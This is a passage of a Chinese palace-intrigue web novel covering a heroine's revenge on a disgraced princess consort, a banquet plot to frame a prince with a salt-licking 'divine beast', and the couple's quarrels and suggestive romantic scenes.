“王爷的生辰过得可好?”云清婳开口问。 裴墨染的心猛地紧缩。 他的生辰就在裴云澈的后一日,可前一日赵婉宁当众让他丢了这么大的人,他怎么可能有心情办生辰宴? 更何况,第二天,皇后得知此事后,还将他传到翊坤宫狠狠训斥了一顿。 “就跟往常一样。”他不愿多讲。 云清婳的眼中划过奚落。 怎么可能一样呢? 他可是因为赵婉宁,丢尽了脸面啊! “虽然晚了些,但是,夫君,生辰快乐。”云清婳从枕头下面拿出一个绣了一对蝴蝶的荷包,递给他。 裴墨染一怔,眼眸就像是被点燃,他笑道:“蛮蛮,这是你给我准备的?” “嗯。”她颔首。 裴墨染就像是得到了心爱玩具的孩子,他翻来覆去地看着荷包,满心欢喜。 “蛮蛮,你太好了。”他俯下身,吻如同雨点似的细细密密地落在云清婳的眉眼、鼻尖、脸颊、唇瓣。 瞧瞧,缺爱的人,一点小恩小惠就让他高兴得不行。 若是没猜错,裴墨染十二岁之后,就没好好过过生辰,更别提收到用心的生辰礼。 今年的生辰,他本来可以好好过的,可是全被赵婉宁毁了。 所以她的礼物,绝对够令他感动。 裴墨染如饿狼扑食一般,将她掠夺。 如意钩上挂着的宫铃发出清脆绵延的声音。 过了子时,铃声才归于平静。 “裴墨染,你是天下最坏的坏蛋!”她的眼里还包着眼泪,声音都哑了。 裴墨染亲了亲她的唇瓣,“下次换蛮蛮绑我。” 她嫌弃地乜了他一眼。 “夫君,有件事,我……”她看起来很是犹豫。 或许是默契,裴墨染隐隐猜到她想说什么。 十有八九跟赵婉宁有关。 “想说就说吧。”他道。 云清婳的唇动了动,随后又摇摇头,“……没什么。” 她做个铺垫,等到赵婉宁的秘密败露,也怪不到她身上。 “你们莫不是约好的?诸葛先生吞吞吐吐,你也如此,你们究竟瞒了本王什么?”裴墨染的脸沉了下来,颇为烦躁。 啧! 正所谓墙倒众人推,果然,诸葛贤也按捺不住了。 “你凶什么?我跟诸葛先生就见过两面啊,怎会约好?”云清婳讨好地环抱住他的窄腰,明显在转移话题,“我坠崖那一日……” 她猜测裴墨染已经调查出赵婉宁买凶杀她的事情,可为何他不说呢? 难道还想袒护赵婉宁? 她想试探一下。 如果狗男人敢有所隐瞒,她就撒泼了! 裴墨染的心咯噔一响,蛮蛮聪慧过人,说不定已经知道赵婉宁买凶杀人的事情。 他若是瞒着,蛮蛮定会对他失望。 与其让她问,不如他主动交代。 “蛮蛮,我已经调查清楚了,感业寺那日遇刺,全是赵婉宁自导自演,她买凶杀人,目的就是除掉你。”裴墨染一口气说完。 云清婳舒心了。 看来狗男人这次学乖了,没敢对她耍心眼。 “我猜到了,昏迷前王妃让我猜,您更看重她还是我。”云清婳哽咽道。 裴墨染心疼不已,他怒道:“她真是可恶至极!蛮蛮,你千万不要多想,我之前不说,只是担心此事会闹到云丞相面前,云丞相必不会善罢甘休。若是被父皇知道,父皇定会觉得我眼光不好、御下无能。” “我明白的。”她善解人意。 他生怕她多想,主动提议:“明日你去看看她?” 云清婳自然不会拒绝。 她作为胜利者,自然要去奚落、践踏、戏耍失败者! 她要好好享受获胜的果实。 若不是为了保持清纯小白花的人设,她真的恨不得直接毒死赵婉宁。 第92章 王妃之位,我挺感兴趣 翌日,送走裴墨染后,魏娴来了。 云清婳牵着她的手坐在软榻上,“多亏了你,才将赵婉宁按死。” 魏娴的弯眉一拧,语气稍显沉重,“这就算按死了吗?赵婉宁只要一日是肃王妃,她就有翻身的机会。” 她们二人像是知己,想法相同。 魏娴抿了口茶,感慨道:“男人的心变幻无常,昔日的赵婉宁,今日的你,日后还不知道会有谁。若是你能趁这次拿下王妃的位置,咱们日后就舒坦了。” 云清婳的眼中乍现出精光。 王妃的位置,她的确想要。 但是裴墨染不一定会给。 毕竟在狗男人的心中,她没有皇位重要。 “不急,咱们一步步的来,先让赵婉宁作死。”她道。 魏娴猜到云清婳手里攥着赵婉宁的把柄,她很好奇,究竟是什么把柄。 …… 地牢。 赵婉宁的发髻乱得像鸡窝,额前的刘海一缕一缕地坠着,她的衣衫脏乱,浑身透着股骚气。 她的左手捏着窝窝头,右手掩藏在衣袍之下。 “我可是王妃!你们就给我吃这个?” “放肆!一群贱奴!我要见王爷!你们让王爷来见我!” “我曾经为王爷挡过箭,王爷不会抛弃我的,我们走着瞧!” 她骂骂咧咧,吐沫星子乱喷,就像市井泼妇。 忽然,走廊传来一阵脚步声。 赵婉宁的眼前一亮,她费劲地撑起身子,“王爷,王爷,是您来看臣妾了吗?臣妾知道错了,臣妾知道错了。” 可铁门一打开,云清婳走了进来。 看到她的一刹那,赵婉宁腿下一软,瘫倒在地,“你当真没死?” 她听见了侍卫的聊天,昨日就知道了云清婳没死的消息,所以并没有多惊讶。 “你都没死,我怎么舍得死?”云清婳穿着纹绣花团锦簇的衣袍,通身贵气逼人,居高临下地睨着她。 她的眼中滚动着滔天恨意,又有复仇的兴奋、快意。 姐姐,你看,赵婉宁像不像一条狗? 你的仇,很快就能报了。 赵婉宁怒骂道:“贱人!王爷舍不得杀我,只要我一日是正妃,你就是妾!除夕宫宴就要来了,我身为肃王妃必须得出席,呵呵,你是不是很生气?” 云清婳并没有被激怒,只是用手捂住了鼻子,露出前所未有的刻薄神色,“啧,好臭。” 这简直杀人诛心。 赵婉宁像是被戳了心窝,脏兮兮的脸通红,她的眼中流出了屈辱的泪,“贱人!别以为能看我笑话,王爷是不会抛弃糟糠之妻的!只要我活着,哪怕我什么都不做,我也能笑到最后。” “你别想激怒我,我不会再对你出手了!只要我安分,王爷总会消气,总会原谅我的!” “贱人!我就算假孕又如何?买凶杀你又如何?王爷把我关起来,只是为了保护我,他怕你报复我!王爷还爱我!” 不知道她的话,她自己信了没有。 云清婳坐在对面的太师椅上,翘着二郎腿,嘲讽道:“爱?爱能当饭吃吗?爱能止痛吗?” 恋爱脑真该死啊! 裴墨染都把她的右手踹骨裂、畸形了,赵婉宁居然还觉得裴墨染在保护她? “王妃的位置,我很感兴趣。你说,如果我问裴墨染要,他会不会给?”她阴森森地笑出来。 “呵呵……” 笑声如银铃般清脆,带着说不出的诡异。 赵婉宁不寒而栗,她后颈一凉,就像被鬼魅缠住,“你想干什么?贱人!你想干什么?” “你猜啊,呵呵……”云清婳享受赵婉宁惊恐、不安的表情。 就像猫抓到老鼠后不吃,一直放在锋利的爪子下玩弄、蹂躏。 赵婉宁施加给姐姐的,她都会一一还回去! 她要让赵婉宁惶惶终日、撕心裂肺,让她眼睁睁地看着自己男人、身份被她夺走。 “贱人!你不爱王爷,你根本不爱王爷,你骗了王爷……”赵婉宁尖叫。 云清婳冷嘁。 真是好笑,狗男人有哪一点值得她爱呢? …… 时间一晃而过,除夕宫宴很快就来了。 当日,裴墨染命人将赵婉宁从地牢放出来。 他温热的大掌包裹住云清婳的小手,解释道:“蛮蛮,除夕宫宴上,每位皇子都会带王妃参加,本王不能留下话柄。” 云清婳一如既往的善解人意,“我知道的。” 对他而言,赵婉宁的作用就是吉祥物。 “整个春节期间,都要让她露面,否则本王面上无光。”裴墨染微不可闻地叹息,他很是心累。 垂花门前,赵婉宁穿着精美的王妃服制等待良久,她双颊凹陷,尽管上了浓厚的妆容,也能看出她的苍老跟憔悴。 “臣妾见过王爷。”赵婉宁热切地望着裴墨染,眼中含着浓烈的情意。 裴墨染敷衍的颔首。 赵婉宁又看向云清婳,她福福身,真诚道:“云妹妹,我真的知道错了,以前都是我不对,是我鬼迷心窍,我不求你原谅,只求你能给我机会弥补!” “……”云清婳目不斜视,根本不搭理她。 别说云清婳不信,就连裴墨染都不信。 他们给她的机会已经太多了,他失望够了。 赵婉宁有些窝火。 这个贱人! 云清婳心中暗爽。 没想到关了几日,赵婉宁变聪明了。 知道以退为进,乖乖地装成狗,才能保住王妃之位。 春苗摇了摇赵婉宁的胳膊。 赵婉宁只好忍下怒火,谄媚道:“时辰不早了,王爷跟云妹妹先上马车吧。” 裴墨染扶着云清婳上了马车。 后面的赵婉宁正想把手递给裴墨染,可裴墨染压根没理她,他径自上了马车。 赵婉宁的脸上抽搐了几下,眼圈泛红。 她已经走到了绝路,只有做小伏低、摇尾乞怜,才可能绝处逢生! 反正她是王妃,只要她不再犯错,保住王妃的位置,将来皇后之位自然而然属于她。 马车上,裴墨染跟云清婳亲昵地坐在一起。 “是不是穿少了?不是让你多穿些吗?你够苗条了!”裴墨染给她搓手。 云清婳努努嘴,“我不冷,手常年是凉的。” “你就嘴硬吧!” 一旁的赵婉宁就像是空气,她心中酸涩不已。 云清婳时不时附在裴墨染的耳边说悄悄话。 她每说一次,赵婉宁的心就突突直跳,脸都吓绿了。 贱人不会当真对王爷说想要王妃之位吧? 王爷不会真的要除去她的名分,升贱人为正妃吧? 云清婳瞥见提心吊胆的赵婉宁,笑得妖冶,“夫君,我想向王妃讨要一件东西。” “……”赵婉宁的胳膊颤抖起来。 云清婳的嘴角勾起不明显的弧度。 她很享受折磨猎物的过程。 “何物?”裴墨染捏捏她的手心。 云清婳的双眼笑成了一对弯月牙,她故意拖长音,字正腔圆:“王、妃……” 赵婉宁抖得更厉害了,腿也跟着抖起来。 第93章 高光时刻 赵婉宁的双眼失神,心脏揪成了一团。 “王妃的那条手串,我看王妃似乎不是很喜欢,我能不能用金手镯跟王妃换?”她道。 裴墨染有些愧疚。 她就这么喜欢那条手串? 早知道,当初他就应该帮她留下。 “呵……云妹妹喜欢,我稍后就遣人送到清心阁。”赵婉宁的眼泪都快吓出来,她讨好地说。 裴墨染冷声道:“不必了,本王让工匠做条一模一样的给你。” 他不想让蛮蛮戴赵婉宁戴过的东西。 “多谢夫君。”云清婳笑道。 赵婉宁的脸色却越来越难看。 …… 宴厅中。 虞贵妃又坐在高位上与皇上重归于好。 她的妆容妩媚,衣着华丽招摇,头上的簪花花冠不合规制,比皇后的凤冠还要精致鲜艳。 皇后仪态端庄,可笑容有些僵硬。 因为虞将军打了胜仗回来,皇上要大行封赏,自然不能再软禁虞贵妃。 而夹着尾巴做人的睿王也跟着挺直了腰杆。 “四皇兄,本王听说了皇嫂的事情,真是可惜,您要节哀啊。”睿王主动迎了上来,伸手拍了拍他的肩膀。 裴墨染像是沾染了污秽,拍了拍肩上被他碰过的位置,刻薄地讽刺:“皇弟还是管好自己吧,年纪不小了,一直耿耿于怀先王妃,不续弦可不行。形单影只的,皇兄都心疼你了。” “你……”睿王一噎,狭长的眸子射出冷箭。 宴会很快就开始了。 赵婉宁的表现让所有人都很意外,她一改往常的高傲清冷,落落大方,长袖善舞,放低姿态地迎合妯娌聊天,还带了礼物,主动向皇后、太后请安。 这让太后、皇后都高看了赵婉宁一眼。 她总算开窍了。 只可惜亡羊补牢,为时已晚。 就连裴墨染都掀起眼皮,打量起赵婉宁。 原来这些人情往来,赵婉宁也是可以做好的。 但她却因为自私、任性,白白浪费了三年时间,害他回京后孤立无援! 云清婳将这一切都看在眼里。 皇上大行封赏了虞将军,还命贴身太监给他倒酒搛菜,给足了荣宠。 “皇上,微臣有一宝物进献。微臣在东海抗击倭寇后,从倭寇手中缴得一只神兽。”虞将军拍拍手。 一头通身毛发漆黑,四不像的动物被太监牵进了宴厅中央。 众人探头探脑地好奇地观察着。 云清婳一眼便认出此物。 她穿书前曾在动物园见过,这是中华鬣羚,又名明崇羊。 明崇羊在大昭并不常见,它的角似鹿,蹄似牛,头似羊,尾似驴,许多人误以为这就是传说中的“四不像”麒麟。 云清婳瞬间就猜到,虞贵妃想要作什么妖。 又是冲着裴墨染来的呢。 众人的眼睛都直了,上下打量起明崇羊。 “此物似鹿非鹿,似羊非羊,莫不是麒麟?”翰林院大学士捋着胡子道。 一个武将开口:“虽然此物跟传说不一样,但的确特殊啊!” 虞将军骄傲地扬起脖子,拱手道:“这是微臣进献给陛下的薄礼,还望陛下不要嫌弃。” “哈哈哈哈好!虞将军打了胜仗,还带回来了麒麟,此乃大昭之幸事!上苍庇佑大昭啊!”皇上龙颜大悦,对着虞将军举杯。 虞将军豪迈地将酒杯中的酒一饮而尽,“陛下,您来摸摸神兽吧,让神兽认主。” 他的一个眼神过去,太监便将明崇羊脖子上的绳索解开。 云清婳的眼底闪过寒光。 这段在原剧情中一年后才会发生,或许是虞将军为妹妹、外甥报仇心切,所以提前了。 明崇羊尤其喜欢在盐渍地舔盐,睿王趁机在裴墨染的肩膀上涂了浓度极高的盐水。 它闻到盐渍的独有的气味,便会向裴墨染走来,看似亲昵地舔蹭裴墨染的肩膀。 这么一来,所有人都会觉得裴墨染被神兽选中,他比皇上还适合成为天选之人。 裴墨染百口莫辩,自然会被冠上功高盖主,意图谋反的罪名,而皇上也会对他厌恶至极。 原剧情中,姐姐发现了端倪,向众人说明了盐渍的原理,才帮裴墨染洗清冤屈。 姐姐善良,没有追究睿王,但她可不会放过这个机会。 咩—— 果不其然,明崇羊朝裴墨染走来了。 它亲昵地舔蹭着裴墨染的肩膀,像是在对主人撒娇。 登时,宴厅落针可闻,所有人露出惶恐的表情,跪了一地。 众人的眼珠子都快瞪出来,“天啊!这,这是怎么回事?” “神兽认错人了吧?它怎会跑到肃王身旁?” “陛下还在,肃王怎会受命于天?莫非存了谋逆之心?” 虞将军、虞贵妃以及睿王暗暗幸灾乐祸。 “父皇,此事必有蹊跷。”裴墨染惶恐地出列,跪在宴厅中央。 皇上波澜不惊的面孔中透出冷意,矍铄的眸子风云诡谲,无人能看透他在想什么,“呵。” “陛下,这,这……在您的面前,肃王怎会得到神兽的青睐?”虞将军愤愤不平地摊手。 睿王倒吸了口凉气,“四皇兄,你镇守西北十年,远离京城,莫不是拥兵自重,生了谋逆之心?” 话音刚落,虞将军一党人齐声说:“还请陛下严查肃王!” “还请陛下严查肃王!” 皇后的心突突直跳,她的手抓紧了膝上的布料,心里不禁忌惮起裴墨染。 裴云澈也沉默不语。 “儿臣对父皇的拳拳之心,日月天地可鉴!睿王怎会如此阴暗的揣度?莫不是你心中不干净?”裴墨染镇定地反问。 “你……”睿王被将了一军,一时语塞。 云丞相出列道:“陛下,此物皮毛晦暗,并不像麒麟。光凭一只动物就定夺肃王谋逆,这会不会太草率了?” “肃王早就交了兵符,更何况镇守西北十年,没有功劳也有苦劳!陛下三思!”祝国公也出列道。 众文官齐声道:“还望陛下三思!” “陛下!危害江山社稷之人,断不可留啊!”虞将军用眼角的余光阴狠地剜着裴墨染。 裴墨染的眼中滚动着阴鸷,他瞥着右肩膀,似乎想到了什么。 一旁的赵婉宁蠢蠢欲动,她自然也知道这段剧情。 她想抓住这个高光时刻,让裴墨染回心转意。 赵婉宁启唇,一个字音快要发出来时,云清婳便叩首,“陛下,臣妾或许知道其中的蹊跷。” 皇上的剑眉微蹙,他轻扬下巴,“你说。” “王爷。”云清婳递给裴墨染一个眼神,示意他脱下衣袍。 裴墨染立即脱下外袍。 云清婳接过衣袍,将它披在角落的一个太监身上。 咩咩—— 明崇羊果然又跑到了太监的右侧,舔舐着方才裴墨染肩上的同一个位置。 长眼睛的人都看得出来,神兽哪儿是喜欢人啊,这是对衣服上的东西感兴趣。 “陛下,奴才就是个没根儿的,神兽不是找奴才认主了吧?!”太监惶恐地磕头。 扑哧—— 几个年幼的皇子、公主嗤嗤地笑了起来。 云清婳抚摸着明崇羊的脑袋,“陛下,想必是有人往王爷的衣服上涂抹了什么东西,这才吸引了神兽舔舐。” 皇后瞟了一眼虞贵妃,一副痛心疾首的模样,“是啊!究竟是何人想要谋害墨染?墨染对皇上忠心耿耿啊。” 霎时,虞将军、睿王、虞贵妃的脸都青了。 虞贵妃恨得差点咬碎银牙。 “方才何人接触过肃王的右肩?”皇上的脸庞喜怒难辨,他威严地问。 裴墨染周围的人都齐刷刷地看向睿王。 睿王的脸色惨白,浑身抖了起来。 第94章 苏侧妃告发蛮蛮跟裴云澈 皇上脸上的冰霜冰冷似乎正在消融,他勾起一抹笑,语气陡然柔和:“行了,除夕是个好日子,此事日后再查。” 显然,皇上有意维护虞将军,不想追究了。 可云清婳却不会放过这个机会,她照着明崇羊背上的一个穴位狠狠一按。 咩—— 明崇羊疯了似的,朝前冲去。 那方向正对的是皇上! “啊——” “护驾!护驾!” “神兽疯了!” 一切发生得太突然。 上首,皇上的双眸涣散,在惊恐之下他僵在了原地。 裴墨染倏地起身,他以掩耳不及迅雷之势,飞速跑上台阶,挡在皇上面前。 他一手扼住明崇羊的脖子,臂膀稍稍用力,力气卓绝将它拎起来,狠狠甩了下去。 咩—— 明崇羊倒在地上,发出痛苦的哀嚎。 裴墨染拱手道:“父皇受惊了,儿臣护驾来迟。” “你做得很好。”皇上深深地看了裴墨染一眼,眼中的慌乱一闪而过,不留痕迹。 但额上的汗还是暴露了他内心的紧张。 皇后双眼含泪,心疼道:“陛下贵为天子,此物怎能攻击您?它恐怕并不是神兽啊。” “是啊!此物发狂暴躁,还长得古怪,只是一个畜生罢了!”台下官员纷纷应和。 监察御史趁机道:“虞将军日后要谨慎啊!呈给陛下的东西,怎能如此危险狂躁?若是伤了陛下,你有几个脑袋够砍?” 虞贵妃的心都快跳出嗓子眼,眼泪在眼眶打转。 虞将军狠狠瞪着云清婳,怒道:“胡说!此物向来温顺乖巧,怎会突然发疯?一定有人陷害我!” “陷害于人的,恐怕另有其人吧?这畜生险些伤了陛下,虞将军的腰杆子还挺得这么直,真是毫无悔过之心!”云丞相夹了他一眼,阴阳怪气地训斥。 当他是死的?居然敢攀咬他闺女! “哼!”虞将军不服气地跪在地上,“陛下,微臣冤枉啊!” 皇上的脸上像是蒙了一层雾,谁都看不清。 他威风凛凛摆摆手,示意噤声,似笑非笑道:“朕相信虞爱卿不是故意的,宴会继续,此物牵入灵囿吧。” “是。”双方偃旗息鼓。 皇上又无形卖了个人情给虞将军。 少顷,席面再一次热闹起来。 就好像方才的插曲不曾存在。 裴墨染紧紧握着云清婳的手,四目相对,眼神缱绻。 “蛮蛮,你总是救本王于水火。”他发自肺腑地说。 “您又促狭我!夫君也猜测到了吧?何必把我捧得这么高?”她嗔怪地瞪了他一眼。 他的确想到了。 可这是不一样的。 他不信裴云澈没猜到,可他从来独善其身。 若说对皇后、裴云澈不失望,那是假的。 幸好,这世间,还有蛮蛮是真心待他的。 二人缠缠绵绵,身为肃王妃的赵婉宁反倒格格不入,像极了外人。 她刻毒地睨着云清婳,恨不得将她碎尸万段。 可她为了留下一个好印象,只能跟奴才一样,强颜欢笑地给裴墨染、云清婳倒酒。 裴墨染很满意赵婉宁的改变。 就算是装的,她也总算有点王妃的样子了。 “谢谢王妃。”云清婳手指一推,故意将酒杯打翻,酒水撒在了她的绣花鞋上,“嘶……王妃,怎么办啊?” 赵婉宁的脸气得一阵白一阵红,她的右手骨裂,已经畸形了,所以只能藏匿在袖中。 她弯下腰,伸出左手,捏着帕子,含泪给云清婳擦着鞋面。 云清婳很享受她的侍奉。 她就是要践踏赵婉宁的自尊! “王妃,您别这样啊,让旁人看见了不好。”云清婳绿茶兮兮地说。 赵婉宁的后槽牙磨得硌吱硌吱响,她用手背揩去屈辱的眼泪,哽咽道:“无妨。” 裴墨染回头瞥了她们一眼,并不在意。 宴席快结束的时候,赵婉宁前去问候太后、皇后。 “夫君,我想出去透气。”云清婳小声道。 裴墨染正在应付臣子,他颔首,“不要走远了。” “知道了。” 云清婳离开不久,裴云澈也跟着离席。 苏晴的下唇都快咬出血。 为什么? 为什么云清婳没死?为什么她要勾引裴云澈? 既然如此,王爷,你可千万别怪我啊。 宴席结束后,裴墨染正欲出去找云清婳,苏晴便拦住他的去路。 裴墨染蹙眉,他的脸色暗淡,“苏侧妃,何事?” “请您借一步说话。”苏晴一脸沉重的表情。 裴墨染看她不似作伪,跟她去往阶下的角落,他双手背后,“何事?说吧。” “肃王殿下,还请您看好云妃,不要再让她勾引贤王了!”苏晴的双眼通红,表情有些狰狞。 他的心紧紧一缩,他斥道:“胡言乱语!你们苏家的教养就是这样的?” 苏晴冷不丁笑了,她从袖中拿出一张纸,“妾身就知道您不会相信,但贤王的丹青您总认得出来吧?” 裴墨染接过纸,打开一看,双目像是被刺了似的,紧缩起来。 上面是蛮蛮的画像,旁边还题了一首淫艳旖旎的诗。 简直不堪入目! 这的确是裴云澈的字迹,也是裴云澈的作诗风格。 裴墨染将纸揉成了一团,双目冒火,他恨不得冲上去狠狠给裴云澈一拳。 “肃王,您现在总信了吧?妾身求您,看紧云妃。”苏晴福福身。 裴墨染的目光冷得像是淬了冰,他怒斥:“云妃冰清玉洁,一心爱慕本王,你为何不怪裴云澈肖想、勾引弟妹?你自己没用,少往云妃身上泼脏水!本王劝你,看好裴云澈。” “……”苏晴被训得身子轻颤,委屈的眼泪都出来了。 裴墨染刮了她一眼,转身就走。 他心乱如麻,无尽的愤怒从四面八方席卷而来。 难怪裴云澈不止一次唤过蛮蛮,难怪在村子的时候,裴云澈百般对蛮蛮献媚! 没想到他居然存了如此龌龊下流的心思! 他把裴云澈当兄弟,可裴云澈可曾顾及一点点手足之情? 他还是人吗? 居然觊觎弟妹! “夫君。”云清婳笑吟吟地从他身后走来。 裴墨染看到她的一刹那,脸上紧绷的线条柔和下来,“方才去哪儿了?” “遇见了贤王殿下,跟他在湖边聊了下方才的事。”云清婳的眼神清澈,没有丝毫杂质。 裴墨染抚摸着她柔软的脸颊,眼神透出阴鸷。 “蛮蛮,日后少跟皇兄相处,嗯?” “我听夫君的。”她乖巧地颔首,将汤婆子塞进他的掌心,“您的手好冷,暖暖。” 裴墨染的心中无比熨贴。 他才不信苏晴这个疯女人的鬼话。 蛮蛮对他一片真心,他倘若还怀疑蛮蛮的清白,他还算是人吗? 都是裴云澈下作! 云清婳的嘴角勾出妖冶的笑。 想必苏晴已经把她跟裴云澈的事抖露出来。 裴墨染自然不会怪她,所以他的仇恨全都冲向了裴云澈。 …… 今晚回府后,裴墨染派人将赵婉宁送回了清心阁。 赵婉宁松了口气,只要不用回地牢就好。 她今天的表现应该还不错吧? 王爷应该会留住她的王妃之位吧? 云清婳虚虚瞥了赵婉宁一眼,赵婉宁以为龟缩起来,就能赢到最后? 别忘了,她还有张底牌没用呢。 第95章 打是亲,骂是爱 除夕夜,按照规矩,裴墨染应该去陪赵婉宁的。 可裴墨染看到赵婉宁就烦,更别提留宿了。 他给各个夫人、妾室赏赐了首饰,便去了玄音阁。 寝殿中,云清婳一边吃着糕点,一边给婢女发红包。 所有人都喜气洋洋的。 看到裴墨染身边的贴身太监,飞霜还给了他一封。 这让贴身太监笑得见牙不见眼,“多谢云侧妃,奴才给云侧妃拜年了。” 裴墨染瞪了他一眼,这个没出息的,一点小恩小惠就乐成这样。 “都退下吧。”他摆摆手。 众人告退,还贴心地阖上门窗。 裴墨染走到云清婳身旁,俯身在她面颊上亲了亲,“娘子。” “别这样唤啊,羞死人了。”云清婳红着脸撒娇。 他轻笑,“我唤得不对?” 云清婳娇气地瞪他。 他对她爱不释手,特别是经过方才的事,他更是欣赏她。 没有人能抵抗住这么美艳、聪慧又乖巧的女人。 蛮蛮这样好,所以才会引得裴云澈的觊觎。 思及此,他怒上心头,把她压在桌上粗暴地吻了半晌。 亲到云清婳气喘吁吁,他才放开她。 裴墨染抱着她,准备去榻上。 她双手撑在裴墨染的胸口前,“不行,还没沐浴呢,我都出汗了。” “我不嫌弃你。”他用鼻尖摩擦她的脖颈。 云清婳哼了一声,“可是我嫌弃您。” 裴墨染可气地在她脖子上咬了一口,“一起。” “不要……” 不管她的拒绝,他直接将人剥了个干净,把她扛在肩膀带去了浴室。 浴桶里,裴墨染还厚脸皮非要挨着云清婳。 最后,一个巴掌清脆响亮地落在他的胸口上,他才消停。 沐浴完毕,云清婳的身子都没擦干,急忙穿上亵衣便逃了。 裴墨染不懂,反正等会儿也要脱,她穿什么? 少顷,他从浴室出来。 只见云清婳正穿着白绸亵衣,倚靠在窗前,扬起脖子看着远处天边炸开的绚烂的烟火。 她湿漉漉的眸中倒映出七彩的光,略带几分稚气。 “春寒料峭,当心着凉。”裴墨染从屏风上取下狐裘大氅,从身后将她严严实实地包裹住。 云清婳倚靠在他怀里,指着天上的烟火,“夫君,您看。” 裴墨染顺着她的手看去,唇角上扬,这些烟火正是大昭国泰民安的具象化,是他十年血战换来的。 他抱着怀中娇小的人儿,心脏怦然跳动,一股暖意让他的心暖烘烘的。 这或许是家的感觉? 跟蛮蛮在一起时,他总是这么松快、安心,一切烦恼都能短暂地抛之脑后。 云清婳环抱着他的窄腰,脸蛋贴在他的胸口,闷声道:“夫君,方才真是吓坏我了。” “那畜生把你吓到了?怪我,我光顾着救驾,竟没有关心你。”他紧张地捧起她的脸,跟她对视。 她摇头,“我是担心夫君,睿王虎视眈眈的,总是欺负您。” 说着,她哼了一声,似乎被惹恼了。 裴墨染的心软成了一滩水。 一股前所未有的充实感填满了他的心脏。 这一刻,他感受到,自己是被爱着的。 与赵婉宁相识七年,可她从未这么贴心过。 方才皇后还责怪他不谨慎,被睿王做局。 就连他拼死保护的父皇,也没给他什么好脸色。 世间似乎真的,除了蛮蛮,已经没人爱他了。 “我的新年愿望就是夫君身边的小人都走开!”她噘着嘴,略显稚气,可神色却无比认真。 “蛮蛮,还好你回来了。”他的声音喑哑,他捧着她的小脸,俯身吻下。 云清婳乖顺地承受着他的吻,双臂勾住他的脖子。 烟火斑斓的光影虚虚地映照在二人的脸上,他们呼吸交缠,吻缱绻绵长。 远远看上去,唯美得就像一幅画。 云清婳在心里暗笑,狗男人感动坏了吧? 她的情绪价值提供得够够的吧? 别人在乎你飞得高不高,只有我关心你飞得累不累。 一吻毕,云清婳脱力地倒在他怀里娇喘。 “亲一下罢了,有这么累?”裴墨染轻眨了眨眼,似笑非笑地揶揄。 “讨厌!”她捏着拳头,在他胸口砸了一下。 裴墨染正欲抱她去床榻,可云清婳却抬起小脸,一脸纠结,“夫君,有件事,蛮蛮想说。” 他想起她前几日的欲言又止,心里是高兴的。 蛮蛮终于肯对他敞开胸怀了。 “说吧。”他揉揉她的脑袋。 她咬着下唇,“夫君,倘若蛮蛮有事情瞒着您,您能不能不要怪蛮蛮?” 裴墨染的脸霎时沉了,他的剑眉紧锁,严肃道:“蛮蛮,我们是夫妻,怎能互相瞒着?你瞒着我,我防着你,我们岂不是变成陌路人了?” “可是……”她心虚地低下头。 “蛮蛮,不要瞒我,想说什么就说。”裴墨染捏着她的肩膀,语气有些不悦。 云清婳摇摇头,眼圈泛红,“您别问了,等我想好,我会说的。” 裴墨染的心中不由得冒出各种猜测。 莫非是裴云澈的事? 还是说裴云澈对她做了什么?轻薄了她? 一股躁意窜上了他的心头,他手上的力道瞬间变大,声音陡然提高:“你说啊!为何要瞒着本王?” “本王放下戒备疼你爱你,全心全意待你,可你为何如此防备?” “蛮蛮,你究竟瞒着本王什么?你说啊!” 云清婳被吓到,杏眸瞪得浑圆,两行泪瞬间从眼中坠落,啪嗒滴在了裴墨染的手背上。 裴墨染的手轻颤,这才察觉自己的态度过激了。 他放开她,满脸懊悔,干涩地启唇,“蛮蛮……” 云清婳转身就走。 裴墨染赶紧拉住她的手,着急地说:“蛮蛮,我不是故意的。” “你凶我!你凶我!”云清婳的眼泪越流越凶,狠狠甩开他的手,“你凶我!你凶我!” 他从背后将她抱住,胸口贴着她的背,他懊恼地开口:“我错了!我方才是着急了点,可是蛮蛮,你为何不跟我把话说清楚?夫妻之间应该坦诚,蛮蛮,你没有做到。” “你还怪起我了?”她似是气急了,小脸涨得通红,胸脯也剧烈地起伏。 她转过身,使出浑身的劲儿推他的胸口,“你走!你走!我不想看见你!” 裴墨染也觉得委屈,这一次错的明明是蛮蛮。 他板着脸,正色道:“蛮蛮,今日是年关,你别生气。” “你走!你走!”她将他推得连连后退。 屋内的动静实在太大。 守夜婢女把贴身太监、飞霜都请来了。 二人在门外面面相觑。 贴身太监挤眼:主子们又吵架了,咱们进去劝劝? 飞霜打了个哈欠:这俩人三天一小吵,五天一大吵,我习惯了。 贴身太监觉得非常有道理,转身回去补觉。 少年夫妻就是这样,打是亲,骂是爱,习惯就好。 第96章 对抗路情侣,整晚做恨 寝殿内,一门之隔,裴墨染就要被推出去了。 他退无可退,不想再由着她了,猝然抓住云清婳的手腕,“蛮蛮,这次就是你不对,我不会再认错了。” “你凶我,还怪我!”她的眼泪又流出来了,“我再也不想看见你了!” 不知道哪句话刺激到了他,裴墨染的脸一沉,轻轻松松将人扛在肩膀上,大步朝床榻走去。 她感到一阵天旋地转,头昏脑涨,她狠狠捶打他的背,“放开我,放开我!” “蛮蛮,你刻意隐瞒我,我也不会怜惜你了。”裴墨染将她抛到床榻上。 云清婳的身子向上弹了弹,她愤怒地看向他,可下一秒,庞大的阴影笼罩在头顶。 裴墨染钳住她的下巴,啃噬起她的唇。 他心中是有气的,所以动作故意粗鲁,等她哭了,他又会温柔起来。 云清婳更是生气,在他背上抓出了好多血印子,还咬了他。 裴墨染只要吃痛,就会又粗暴起来,周而复始。 两个犟种,谁也不肯低头。 这一晚,别有一番风趣。 云清婳在浮浮沉沉间,想到了一个词——做恨。 …… 第二日,天蒙蒙亮,云清婳才阖上眼,不知是睡着了还是累晕了。 裴墨染心疼地舔舐着她肩膀上的牙印。 这个小妮子方才赌气,居然说他不行,这能忍吗? 不出一炷香的功夫,便传来拍门声。 赵婉宁的声音温柔地响起,“王爷、云妹妹,快卯时了,今日是大年初一,按照规矩要进宫请安的。” 她把姿态放得很低,态度温婉宁静。 这让玄音阁的婢女都瞠目结舌。 “我这样,没问题吧?”赵婉宁谨慎地问。 春苗重重点头,夸奖道:“王妃,您贤惠大度,愈发有母仪天下的风范了。” 赵婉宁的眼中闪出光亮。 是啊! 只要她避其锋芒、与世无争,就算是王爷也没有理由撤掉她的肃王妃之位! 再过几年,她就能自然而然成为皇后。 …… 云清婳醒来时,腰酸背疼,特别是走路的时候,疼得厉害。 她眉眼间挂着冰霜,板着脸从他身侧下榻,显然没忘昨晚的事。 